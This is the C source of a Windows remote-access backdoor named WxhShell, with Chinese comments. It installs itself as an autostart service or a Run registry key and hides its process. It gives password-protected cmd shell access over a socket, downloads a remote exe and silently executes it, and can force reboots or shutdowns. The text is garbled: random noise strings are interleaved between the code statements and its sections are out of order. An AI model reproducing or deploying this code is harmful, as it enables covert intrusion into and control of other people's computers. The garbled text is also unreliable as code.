(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )F}F_Y NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Lb!Fcf|h ?qP7Y nl if (!NtQueryInformationProcess) return 0; C_(
*>!Z% FEW14U'O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DGRXd# if(!hProcess) return 0; )B
T T/b6f;t-s if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6"wlg!k8 /z4$gb7Y CloseHandle(hProcess); WYH Q? X.OD`.!> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q8FTi^=Kb if(hProcess==NULL) return 0; 0pK=o"^?@ T5R-B=YWu HMODULE hMod; ;ic3).H char procName[255]; |LRedD7n unsigned long cbNeeded; {
d=^}-^ u8'Zl8g if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xqeyD* s 02f~En}>6 CloseHandle(hProcess); 4QH3fTv
!02`t4Zc- if(strstr(procName,"services")) return 1; // 以服务启动 ~Y `ldL t#V!8EpBg return 0; // 注册表启动 (]Z_UTT } /sUYU(3 Ghu#XJB? // 主模块 h`]Iy int StartWxhshell(LPSTR lpCmdLine) \RNNg { YpWPz %`: SOCKET wsl; {ME2ImD BOOL val=TRUE; oL!EYbFD'Z int port=0; 5-|:^hU9 struct sockaddr_in door;
Us)Z^s <->{ if(wscfg.ws_autoins) Install(); o15-ZzE- "~#3&3HVS port=atoi(lpCmdLine); N,`$M.|? ,KF'TsFf if(port<=0) port=wscfg.ws_port; #pT"BSz] Vrjc~>X WSADATA data; *U^6u/iH if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $3W;=Id=+ _64A(U if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Za/-i"U setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /@wg>&L] door.sin_family = AF_INET; DjCqh-&L door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qk0R a_ door.sin_port = htons(port); _ q(ko/T j:^#rFD4? if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9`T)@Uj2n closesocket(wsl); mf
A{3 return 1; tGD6AI1"I } i{Uc6R6 &Q%zl9g(g if(listen(wsl,2) == INVALID_SOCKET) { qt"G[9; closesocket(wsl); k|v3.< - return 1; j?A/# } &D>G8 Wxhshell(wsl); Nu0C;B66 WSACleanup(); [8P:?nDDL }v@dL3{f return 0; T] R|qlZ 5/q}`T9i%7 } c CSs 5Iy|BRU(% // 以NT服务方式启动 2n,*Nd` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~De"? { +s"hqm DWORD status = 0; ,QOG!T4 DWORD specificError = 0xfffffff; +cD<:"L'g r [9x serviceStatus.dwServiceType = SERVICE_WIN32; n#/_Nz serviceStatus.dwCurrentState = SERVICE_START_PENDING; rR$h* serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }^4Xv^dW>g serviceStatus.dwWin32ExitCode = 0; P]<4R:yb serviceStatus.dwServiceSpecificExitCode = 0; <m!h&_eg serviceStatus.dwCheckPoint = 0; tf=6\p serviceStatus.dwWaitHint = 0; !!qK=V|> 0v6)t.]s hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6h>wt-tRC if (hServiceStatusHandle==0) return; 9V'%<pk''( Eou~P h*t status = GetLastError(); Jz?j[ if (status!=NO_ERROR) ;5wn67' { `Y+J-EQ serviceStatus.dwCurrentState = SERVICE_STOPPED; o=u3&liBi serviceStatus.dwCheckPoint = 0; ~{*7"o/ serviceStatus.dwWaitHint = 0; ^aIPN5CK serviceStatus.dwWin32ExitCode = status; #&cI3i serviceStatus.dwServiceSpecificExitCode = specificError; +y,T4^{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); eiuSvyY return; E0BMv/r8b } jAGTD I 'UkxS b serviceStatus.dwCurrentState = SERVICE_RUNNING; `^91%f serviceStatus.dwCheckPoint = 0; A]y`7jJ serviceStatus.dwWaitHint = 0; T\:4qETQF] if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7@C<oy_bb } x9NEFtqjm ".f ;+wH // 处理NT服务事件,比如:启动、停止 xpNH?#& VOID WINAPI NTServiceHandler(DWORD fdwControl) G=)i{oC { +QB"8- switch(fdwControl) IWBX'|}K { > pgX^ case SERVICE_CONTROL_STOP: jy7\+i serviceStatus.dwWin32ExitCode = 0; MtM%{=&_ serviceStatus.dwCurrentState = SERVICE_STOPPED; y9_V serviceStatus.dwCheckPoint = 0; ~aw.(A?MI serviceStatus.dwWaitHint = 0; Dw|}9;5:A { uzXCIv@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); iz5CAxm } '#!
gh? return; {Z{75} case SERVICE_CONTROL_PAUSE: TH)"wNa serviceStatus.dwCurrentState = SERVICE_PAUSED; hrmut*<| break; yhlFFbU case SERVICE_CONTROL_CONTINUE: OL5v).Bb serviceStatus.dwCurrentState = SERVICE_RUNNING; 6~OoFm5 break; bf0+DvIB case SERVICE_CONTROL_INTERROGATE: )Z[ft break; w^(<N7B3T }; ml2_
]3j! SetServiceStatus(hServiceStatusHandle, &serviceStatus); :WC2Ax7$2 } t4{rb,
}W &6DMk- // 标准应用程序主函数 1h(0IjG8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3E7ULK { D@C-5rmq :Y-{Kn6`_ // 获取操作系统版本 }p=Jm)y OsIsNt=GetOsVer(); 2Fy>.*,? GetModuleFileName(NULL,ExeFile,MAX_PATH); %el"BSB YpQ7)_s? // 从命令行安装 g!cUF+ if(strpbrk(lpCmdLine,"iI")) Install(); R{RwTN< M=.:,wRm // 下载执行文件 ADZ};:] if(wscfg.ws_downexe) { ~a%Z;Aj if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BNz 5lrfq WinExec(wscfg.ws_filenam,SW_HIDE); +nUy,S?43 } m[i+knYX YZP(tn if(!OsIsNt) { 8'n/?.7cX // 如果时win9x,隐藏进程并且设置为注册表启动 XttqOf HideProc(); KuWWUjCE StartWxhshell(lpCmdLine); h
a|C&G } n-5W*zk1 else 'AzDP;6qFI if(StartFromService()) Y_}mYvJW // 以服务方式启动 uB |Ss StartServiceCtrlDispatcher(DispatchTable); m_hN*v
Py else $`APHjijN // 普通方式启动 d#6`&MR StartWxhshell(lpCmdLine); a5 *2h{i Y;nZ=9Sw return 0; Z1zVwHa_ } "~E[)^ANxD ,PlO8;5] syk!7zfK nv)2!mAh\ =========================================== ;V^ 112|C BLN^ <X/ ilK-?@u+ zs%Hb48V vesJEaw7 L{:9Cx!F " Tskq)NU u83J@nDQ #include <stdio.h> P-`M #include <string.h> Q=BZ N]g2 #include <windows.h> 5?p2%KQ #include <winsock2.h> -DxL 0:E #include <winsvc.h> -<Hu!V`+ #include <urlmon.h> C(S'#cm 1<+2kBuY #pragma comment (lib, "Ws2_32.lib") kR]!Vr*yh #pragma comment (lib, "urlmon.lib") ?!wgH9?8 'jmTXWq* #define MAX_USER 100 // 最大客户端连接数 "dsU>3u #define BUF_SOCK 200 // sock buffer }
$uxJB #define KEY_BUFF 255 // 输入 buffer np%\&CVhN y+!+ D[x #define REBOOT 0 // 重启 JB ZUv #define SHUTDOWN 1 // 关机 *J$=.fF1 $=5=NuX #define DEF_PORT 5000 // 监听端口 BQBeo&n6 R E}?5XHb #define REG_LEN 16 // 注册表键长度 :
m)
#define SVC_LEN 80 // NT服务名长度 Ib|Rf;J~- i.=w]S
j // 从dll定义API DKfE.p) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DvPlV q~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z?pnj8h-& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _tSAI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 76>7=#m0u' [v$0[IuY, // wxhshell配置信息 #BJG9DFP4` struct WSCFG { p>vn7;s2# int ws_port; // 监听端口 I96Ci2)m char ws_passstr[REG_LEN]; // 口令 !h(|\"
} int ws_autoins; // 安装标记, 1=yes 0=no \(VTt|}By$ char ws_regname[REG_LEN]; // 注册表键名 bfA=3S"0 char ws_svcname[REG_LEN]; // 服务名 _FXZm50\g{ char ws_svcdisp[SVC_LEN]; // 服务显示名 ]E_h char ws_svcdesc[SVC_LEN]; // 服务描述信息 <WjF*x p char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vm5c+; int ws_downexe; // 下载执行标记, 1=yes 0=no Qd=^S^}( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V?Z.\~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3ia^\ jw ?I/qE='* }; z>jUR,!GT }K1JU`Lz // default Wxhshell configuration T|6jGZS^|W struct WSCFG wscfg={DEF_PORT, {D?50Q "xuhuanlingzhe", bKj%s@x 1, PlF87j ( "Wxhshell", 8i|w(5m; "Wxhshell", |l&vkRrN "WxhShell Service", -:Fe7c "Wrsky Windows CmdShell Service", SF}<{x_ "Please Input Your Password: ", WX}xmtLs 1, uum;q-" "http://www.wrsky.com/wxhshell.exe", F.-R r "Wxhshell.exe" lE!a }; !Gu%U $d `(v='$6} // 消息定义模块 O=v#{ [ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -od!J\KCy char *msg_ws_prompt="\n\r? for help\n\r#>"; fbWFLSm; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
L f"i
! char *msg_ws_ext="\n\rExit."; c~{9a_G char *msg_ws_end="\n\rQuit."; {~h*2n char *msg_ws_boot="\n\rReboot..."; .,7JAkB%t char *msg_ws_poff="\n\rShutdown..."; zUkN 0 char *msg_ws_down="\n\rSave to "; JoRT&rkd bV edFm char *msg_ws_err="\n\rErr!"; P~s$EJL* char *msg_ws_ok="\n\rOK!"; D'L'#/hK 4J;-Dq char ExeFile[MAX_PATH]; zG' "9kJx int nUser = 0; 'xhcuVl HANDLE handles[MAX_USER]; /"
${$b{ int OsIsNt; 1x@qkL6 gzjR6uz SERVICE_STATUS serviceStatus; $U$V?xuE SERVICE_STATUS_HANDLE hServiceStatusHandle; |+35y_i6 z\0CE]#T // 函数声明 tp6M=MC% int Install(void); eh4gQ^l int Uninstall(void); 28/ ADZ int DownloadFile(char *sURL, SOCKET wsh); mNb ?*3\ int Boot(int flag); V$"ujRp void HideProc(void); QCH}-q) int GetOsVer(void); `(1K
int Wxhshell(SOCKET wsl); :C}2= void TalkWithClient(void *cs); 2<`.#zIds int CmdShell(SOCKET sock); fV v.@HL{ int StartFromService(void); neXeAU int StartWxhshell(LPSTR lpCmdLine); -zp0S*iP7 ?OE.O/~l VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d"5oD@JG: VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y4cYZS47 1"pI^Ddt // 数据结构和表定义 !).}u,*'no SERVICE_TABLE_ENTRY DispatchTable[] = (RUT{)p[ { +2K :qvzZ {wscfg.ws_svcname, NTServiceMain}, i^_#%L {NULL, NULL} C w~RJ^a_ }; cTXri8K_ `((Yc]:7 // 自我安装 G0`h % int Install(void) #l4)HV { Kx.X 7R char svExeFile[MAX_PATH]; MZpK~c1` HKEY key; aM@z^<Ub strcpy(svExeFile,ExeFile); lqowG!3H S#-wl2z // 如果是win9x系统,修改注册表设为自启动 y kW [B if(!OsIsNt) { :9R=]#uD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HJ2*y|u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 21ppSN> RegCloseKey(key); }w/;){gu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Iq# ZhAk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -pU|hSW*b RegCloseKey(key); xXY.AoO6 return 0; }R)=S_j } i.xXb[M+ } $xOI 1|d } 9%iUG(DC else { `C_jP|[e BnCKSg7V // 如果是NT以上系统,安装为系统服务 [97KBoSU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c9\2YKo if (schSCManager!=0) anj#@U;! { +vNZW@_$D SC_HANDLE schService = CreateService ari7 iF~j ( yMZHUd schSCManager, QDTBWM% wscfg.ws_svcname, 8>7RxSF wscfg.ws_svcdisp, kW`r= u SERVICE_ALL_ACCESS, OFGsjYLw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6
4D]Ypx SERVICE_AUTO_START, j}BHj.YuP SERVICE_ERROR_NORMAL, { F'Kk\f%: svExeFile, ?\U!huu NULL, yJsH=5A NULL, Nrah;i+H\o NULL, Gy,u^lkk: NULL, j7MO'RX`& NULL 9D 0dg( ); -UZ@G~K if (schService!=0) TgTnqR@/ { E"%2) CloseServiceHandle(schService); aYn8^ CloseServiceHandle(schSCManager); hKNY+S})g strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~"lJ'&J} strcat(svExeFile,wscfg.ws_svcname); ewuXpv%vwW if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ="%W2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !@I}mQ ~ RegCloseKey(key); Uu"0rUzt return 0; QN>7~=` } rVtw-[p } @ct+7v~ CloseServiceHandle(schSCManager); .6m "'m0; } ]WUC:6x } T*I?9d{k tu>{ return 1; iB1i/l } "o&HE@t n;8 '`s // 自我卸载 K9[e> int Uninstall(void) wQ+dJ3b$ { U{~SXk'2+ HKEY key; /ahNnCtu?1 Z~6[ Z if(!OsIsNt) { 659v\51* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1/ZR*fa RegDeleteValue(key,wscfg.ws_regname); 451'>qS RegCloseKey(key); ?-OPX_i_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =s}Xy_+: RegDeleteValue(key,wscfg.ws_regname); joa5|t!D9 RegCloseKey(key); ]~>K\i return 0; Ch_xyuJ } _P,^_%}V06 } Te{ *6-gO3 } >p])it[q&$ else { 6P`)%zj z *9FlV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DjCx~@ if (schSCManager!=0) .mL#6P!d3^ { U@Tj B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I\Glc=T* if (schService!=0) ?0<w { 8BXqZVm. if(DeleteService(schService)!=0) { Y-~~,Yl~ CloseServiceHandle(schService); G{x[uE2X&f CloseServiceHandle(schSCManager); a
:HNg return 0; ;`v% sx# } }:z5t,u6 CloseServiceHandle(schService); h:/1X'
3d } cPn+<M# CloseServiceHandle(schSCManager); ,>LRa } la$%H<,7 } MS<SAD>w =l942p return 1; (LJ@SeM; } E-ZRG!)[v E1Q0k5@ // 从指定url下载文件 ekQrW%\3 int DownloadFile(char *sURL, SOCKET wsh) BF8"rq}r0 { /.V0ag'G HRESULT hr; #\4 b:dv char seps[]= "/"; Qu%D char *token; uH\kQ9f char *file; ?mRE'# char myURL[MAX_PATH]; },+~F8B char myFILE[MAX_PATH]; #T~&]|{, F9XT
lA strcpy(myURL,sURL); !:fv>FEI9 token=strtok(myURL,seps); Vf-5&S&9 while(token!=NULL) Omag)U)IPh { {.k)2{ file=token; 7;LO2<|1 token=strtok(NULL,seps); $T }Tz7( } -NM0LTF hPdx(E)8!d GetCurrentDirectory(MAX_PATH,myFILE); H5nS%D strcat(myFILE, "\\"); ^m7~:=K7WG strcat(myFILE, file); 3+YbA)i; send(wsh,myFILE,strlen(myFILE),0); lQ*eH10H send(wsh,"...",3,0); 7w58L:)B. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FN
)d1q(~ if(hr==S_OK) (paf2F`~# return 0; S7n"3.k else X)uDSI~ return 1; q42FPq ua
8m;>R } FUeq
\Wuo *+lsZ8'^C // 系统电源模块 gs`^~iD]m int Boot(int flag) \&A+s4c") { }uX|5&=~f HANDLE hToken; kI*Uk M- TOKEN_PRIVILEGES tkp; eZF'Ck y CJNG) p if(OsIsNt) { P#G.lft"O OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cfoYnM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q!CO0w tkp.PrivilegeCount = 1; Ly(P=M>"y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @R:#" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f\ "`7 if(flag==REBOOT) { l+
T,2sd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s3lJu/Xe{ return 0; @?2n]n6 } g0#q"v55 else { )&Z>@S^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K&pM o. return 0; dc^Vc{26Z } }.%s
xw } ;; LuU<,$ else { aIGn9:\ if(flag==REBOOT) { _J"mR]I+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dl[ob,aCK return 0; QjukK6#W } rB]W,8~% else { *Wyl2op6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0#|7U_n return 0; ySruAkw% } I}:L]H{E } %{ ~>n" INLf# N return 1;
\ sf! } e`DsP8-&v ^!@*P,'I // win9x进程隐藏模块 ]Ti $ztJ void HideProc(void) c2b6B.4 { _:,.yRez w yD%x( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I#l;~a<9z if ( hKernel != NULL ) >_#)3K1y8 { g.*&BXZi pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {a4xF2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pe,;MP\2 FreeLibrary(hKernel); #1l7FT?q } 5 LMj!)3 !V(`ZH return; /Nqrvy= } OLFt;h 4]"w b5% // 获取操作系统版本 92(~'5Qr int GetOsVer(void) 'oi2Seq { ib Ue*Z["1 OSVERSIONINFO winfo; Dh8(HiXf: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tMG@K GetVersionEx(&winfo); q6)p*}- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {_ 6t4h} return 1; nL\ZId else +G\0L_B return 0; %QE5<2k } qnTi_c gL,"ef+nM // 客户端句柄模块 F(G<*lA int Wxhshell(SOCKET wsl) o~}1oN { Uk"Y/Ddm SOCKET wsh;
"0<Sd?Sz struct sockaddr_in client; ;:^ Lv DWORD myID; \SzGzCJ g(aNyn while(nUser<MAX_USER) cCYl$Ms kZ { Ahd\TH int nSize=sizeof(client); hC|KH}aCR) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IKtiR8 if(wsh==INVALID_SOCKET) return 1; X#Ak'%J ~\-r handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D;J|eC>^ if(handles[nUser]==0) wC(XRqlE closesocket(wsh); WkcH5[ else zdT ->% nUser++; Y"s
)u7 } 8t--#sDy{0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s.bT[0Vl @qpYDnJ: return 0; JYl\<Z' { } ,Os7T 1> Yo@m50s$ // 关闭 socket ]zy~@,\ void CloseIt(SOCKET wsh) #Ul4&QVeg { Qlf
9]ug) closesocket(wsh); <XY;fhnB nUser--; <?nB,U ExitThread(0); N!.kq4$. } giQ{Xrj h<Jc;ht // 客户端请求句柄 tu7+LwF7 void TalkWithClient(void *cs) {rtM%%l { x$*E\/zi<! K:Mujx: SOCKET wsh=(SOCKET)cs; 4LJ]l:m char pwd[SVC_LEN]; zuUQ."#i char cmd[KEY_BUFF]; A-X char chr[1]; Ny]'RS- int i,j; .Kg|f~InO !~ BZHi6\ while (nUser < MAX_USER) { 2Ti" s - 3"f)*w7d if(wscfg.ws_passstr) { V^9$t/c& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |K'Gw}fX/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uT'-B7N //ZeroMemory(pwd,KEY_BUFF); ?,D>+:: i=0; `WP@ZSC6 while(i<SVC_LEN) { |R[v@c`pn J2)-cY5G // 设置超时 [0d-CEp[ fd_set FdRead; 87&KQ_ struct timeval TimeOut; `WraOsoY FD_ZERO(&FdRead); C+X)">/+L FD_SET(wsh,&FdRead); N)9pz?*V TimeOut.tv_sec=8; y21)~ TimeOut.tv_usec=0; Mp]yKl int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); / c4;3>IS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ./7&_9|< h9tB''ePE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CpUI|Rs pwd=chr[0]; #
q0Ub- if(chr[0]==0xd || chr[0]==0xa) { Eqz4{\
pwd=0; I
rtF4ia. break; _)HD4,` }
))%@@l[ i++; *#9VC)Q } |@T5$Xg]5 o(B<!ji~' // 如果是非法用户,关闭 socket s_S<gR if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NqQM!B] } ^8o_Iz)r, $[HcHnf send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hj[+d%YZY" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Oz4,Y+[# B[)
[fE while(1) { VEFwqB1l 4jC4X* ZeroMemory(cmd,KEY_BUFF); z5|e\Z |_hioMVz // 自动支持客户端 telnet标准 ~ LJ>WA j=0; o(Ua",| while(j<KEY_BUFF) { w^:V."}-$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hQd@bN8 cmd[j]=chr[0]; 3{2^G@j if(chr[0]==0xa || chr[0]==0xd) { Q:-%3)g<< cmd[j]=0; v!pj v% break; Lo$Z>u4(c } ,ZzB#\ j++; }[=xe(4]D } Mp^OL7p^^
l0:e=q2Ax // 下载文件 AHp830\ if(strstr(cmd,"http://")) { 1_33;gP send(wsh,msg_ws_down,strlen(msg_ws_down),0); .NzW@| if(DownloadFile(cmd,wsh)) Ef,7zKG send(wsh,msg_ws_err,strlen(msg_ws_err),0); d'lr:=GQ else zAkc67: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /el["l } >m2<Nl} else { ^LEmi1L P/C+L[X= switch(cmd[0]) { ZuFVtW@ g "K#& // 帮助 #Vn>ue+? case '?': { Kc2OLz# send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y^94iOk%T break; |%2/I>o } P*0nT // 安装 nyl8=F:V case 'i': { Y?&DEKFbD if(Install()) AihL>a% send(wsh,msg_ws_err,strlen(msg_ws_err),0); H/p-YtY else 3x(MvW30Lg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; $ ?jR
c break; %0~wtZH_! } *1o+o$hY2 // 卸载 :cmI"Bo case 'r': { |$SvD2^ if(Uninstall()) C\a:eSgaC send(wsh,msg_ws_err,strlen(msg_ws_err),0); \AtwO else (IWix){ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "z#?OV5 break; iw~V_y4 } O{i_?V_ // 显示 wxhshell 所在路径 3w<j:\i case 'p': { <igx[2X char svExeFile[MAX_PATH]; k+q6U[ce strcpy(svExeFile,"\n\r"); z:i X]df strcat(svExeFile,ExeFile); YPff)0Nh send(wsh,svExeFile,strlen(svExeFile),0); CtC`:!Q break; [K)1!KK,L } picP_1L // 重启 NBg>i7KQ case 'b': { -t~B@% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ![P(B0Ct/ if(Boot(REBOOT)) ~0^,L3M send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z1V'NJI+ else { |B{$URu closesocket(wsh); SX?$H~A ExitThread(0); ^;k _ } l5y#i7 q break; _#YHc[Wz } H-cBXp5z // 关机 L(1,W<kYg case 'd': { &zh+:TRm send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M9 2~iM if(Boot(SHUTDOWN)) (E1>} send(wsh,msg_ws_err,strlen(msg_ws_err),0);
|b-Zy~6 else { H;t8(-F@' closesocket(wsh); 't]EkH]BC ExitThread(0); d a?th } o4[2`mT break; :{xN33@6\X } M(h H#_$ // 获取shell H+#wj|,+\ case 's': { Bc|x:#`C\{ CmdShell(wsh); :56lzsWUE< closesocket(wsh); 6pn@`UK ExitThread(0); N;ecT@Ug break; <<2b2?aS` } s-N?Tzi // 退出 'y M:WcN case 'x': { J,=E5T}U^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7SY->-H8 CloseIt(wsh); 2-E71-J break; >3
.ep}, } (z1%lZ}( // 离开
[aS)<^ case 'q': { ?jn6Op send(wsh,msg_ws_end,strlen(msg_ws_end),0); TnU$L3k closesocket(wsh); gAUQQ WSACleanup(); sV'.Bomq exit(1); /GSI.tO break; 'lRHdD}s } ?a0}^:6 } MqBATW.pmJ } z3jzpmz a=B0ytNm // 提示信息 vlN. OQ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mjvso0zj } re7\nZ<\| } l`%}
{3r9 *pC-`k return; 8(f0|@x^ } /~rO2]rZ@ -Us% g // shell模块句柄 _>m*`:Wb int CmdShell(SOCKET sock) f>+}U;)EF { FuiW\=^ STARTUPINFO si; {uM{5GSL ZeroMemory(&si,sizeof(si)); ;_\ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pbvEIa-Y4 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xsn - +e PROCESS_INFORMATION ProcessInfo; Iy4MMU char cmdline[]="cmd"; f-nC+ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tWOze, N return 0; U?ic$J]N } ?~Ed
n-"Y \fR:+rbQ&| // 自身启动模式 4$2T zJE int StartFromService(void) nN\XVGP,t { #Ii.tTk typedef struct .F3LA6se { %1 ^jd\ DWORD ExitStatus; m.a1 DWORD PebBaseAddress; jTgh+j]AP DWORD AffinityMask; :RO:k|g DWORD BasePriority; ?E_p ,#9j) ULONG UniqueProcessId; RTY4%6]O ULONG InheritedFromUniqueProcessId; Iw|[*Nu- } PROCESS_BASIC_INFORMATION; 6ch[B`[h, Aq]'.J=4 PROCNTQSIP NtQueryInformationProcess; Msu2OF *x +&zC |